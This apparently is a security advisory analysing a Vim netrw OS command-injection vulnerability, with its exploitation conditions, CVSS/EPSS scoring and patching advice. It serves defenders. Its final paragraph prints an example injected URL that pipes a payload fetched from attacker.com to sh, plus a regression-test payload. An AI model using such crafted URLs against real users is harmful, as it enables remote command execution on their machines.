Vim CVE-2026-42307

Exploitation requires the target user to open a crafted URL within Vim with the netrw plugin active. The netrw plugin loads by default in standard Vim installations, so no special user configuration is required on the victim side. The attacker must control the URL presented to the victim - this is typically achieved through social engineering (phishing, malicious project files, crafted documentation). The CVSS UI:R metric confirms user interaction is mandatory. Exploitation is limited to local execution (AV:L): the attack cannot be triggered purely over the network without the user explicitly opening the URL in Vim. The resulting command executes with the privileges of the Vim process, which is ordinarily the standard user account - escalation to root is not provided by this vulnerability alone. Conditions that limit exploitation include: disabling netrw via g:loaded_netrwPlugin, running Vim without network protocol support, or using a Vim build that patches the netrw plugin prior to 9.2.0383.

The vendor-assigned CVSS 3.1 score of 4.4 (Medium) with vector AV:L/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N reflects local attack surface and required user interaction, but the C:L/I:L impact ratings appear conservative given that OS command injection at user privilege level typically yields full read/write access to all files owned by the process owner. An independent reassessment raises the impact metrics to C:H/I:H, producing a significantly higher score - this discrepancy should be noted by defenders. EPSS at 0.26% (49th percentile) is low, consistent with SSVC exploitation status of 'none' and non-automatable attack classification, meaning no widespread scanning or scripted exploitation is observed. The attack is constrained to social-engineering scenarios where an attacker must convince a Vim user to open a malicious URL, reducing realistic risk substantially compared to pure network-reachable vulnerabilities. KEV status is absent. Taken together, this vulnerability warrants patching on a standard schedule rather than emergency response, but the actual command-execution impact is more serious than the vendor CVSS score implies.

An attacker crafts a malicious URL such as sftp://attacker-controlled-host/document.txt;curl${IFS}attacker.com/payload|sh and embeds it in a phishing email, a README file in a cloned repository, or a shared project file. When the targeted user opens this URL in Vim - for instance via :e or by clicking the link in a terminal - netrw extracts the suffix including the injected semicolon and subsequent command, constructs a tmpfile path containing the payload, and passes it unescaped to the shell via sftp, causing the attacker's command to execute under the user's account. The commit diff's regression test (Test_netrw_tempfile_suffix_injection) demonstrates the exact mechanism using sftp://localhost/foo.txt;id>Xrce_marker.